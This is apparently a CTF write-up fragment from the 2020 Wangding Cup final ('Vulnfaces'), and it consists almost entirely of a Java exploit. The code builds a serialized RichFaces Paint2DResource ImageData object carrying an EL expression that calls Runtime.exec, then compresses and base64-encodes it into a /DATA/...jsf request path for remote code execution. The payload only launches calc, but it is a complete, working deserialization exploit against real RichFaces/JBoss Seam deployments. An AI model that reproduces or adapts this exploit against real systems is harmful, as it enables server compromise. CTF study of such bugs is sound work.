从2020网鼎杯决赛Vulnfaces回顾远古漏洞

import com.sun.facelets.el.LegacyMethodBinding;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;

import javax.el.MethodExpression;
import javax.faces.context.FacesContext;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.zip.Deflater;


public class exp {
    public static void main(String[] args) throws Exception{

        String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")}";
        // 根据文章https://www.anquanke.com/post/id/160338
        Class cls = Class.forName("javax.faces.component.StateHolderSaver");
        Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
        ct.setAccessible(true);

        // 1. 设置ImageData
        //    构造ImageData_paint

        MethodExpressionImpl methodExpression1 = new MethodExpressionImpl("#{request.toString }", null, null, null, null, new Class[]{OutputStream.class, Object.class});
        MethodExpressionImpl methodExpression2 = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
        Constructor constructor = Class.forName("org.jboss.seam.el.OptionalParameterMethodExpression").getDeclaredConstructor(MethodExpression.class,MethodExpression.class);
        constructor.setAccessible(true);
        MethodExpression methodExpression = (MethodExpression) constructor.newInstance(methodExpression1,methodExpression2);

        MethodBinding methodBinding = new LegacyMethodBinding(methodExpression);
        Object _paint = ct.newInstance(null, methodBinding);

        Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
        Class innerClazz[] = clzz.getDeclaredClasses();
        for (Class c : innerClazz){
            int mod = c.getModifiers();
            String modifier = Modifier.toString(mod);
            if (modifier.contains("private")){
                Constructor cc = c.getDeclaredConstructor();
                cc.setAccessible(true);
                Object imageData = cc.newInstance(null);

                //    设置ImageData_width
                Field _widthField = imageData.getClass().getDeclaredField("_width");
                _widthField.setAccessible(true);
                _widthField.set(imageData, 300);

                //    设置ImageData_height
                Field _heightField = imageData.getClass().getDeclaredField("_height");
                _heightField.setAccessible(true);
                _heightField.set(imageData, 120);

                //    设置ImageData_data
                Field _dataField = imageData.getClass().getDeclaredField("_data");
                _dataField.setAccessible(true);
                _dataField.set(imageData, null);

                //    设置ImageData_format
                Field _formatField = imageData.getClass().getDeclaredField("_format");
                _formatField.setAccessible(true);
                _formatField.set(imageData, 2);

                //    设置ImageData_paint
                Field _paintField = imageData.getClass().getDeclaredField("_paint");
                _paintField.setAccessible(true);
                _paintField.set(imageData, _paint);

                //    设置ImageData_paint
                Field cacheableField = imageData.getClass().getDeclaredField("cacheable");
                cacheableField.setAccessible(true);
                cacheableField.set(imageData, false);

                //    设置ImageData_bgColor
                Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor");
                _bgColorField.setAccessible(true);
                _bgColorField.set(imageData, 0);

                // 2. 序列化
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
                objectOutputStream.writeObject(imageData);
                objectOutputStream.flush();
                objectOutputStream.close();
                byteArrayOutputStream.close();

                // 3. 加密（zip+base64）
                byte[] pocData = byteArrayOutputStream.toByteArray();
                Deflater compressor = new Deflater(1);
                byte[] compressed = new byte[pocData.length + 100];
                compressor.setInput(pocData);
                compressor.finish();
                int totalOut = compressor.deflate(compressed);
                byte[] zipsrc = new byte[totalOut];
                System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
                compressor.end();
                byte[]dataArray = URL64Codec.encodeBase64(zipsrc);

                // 4. 打印最后的poc
                String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
                System.out.println(poc);
            }
        }
    }
}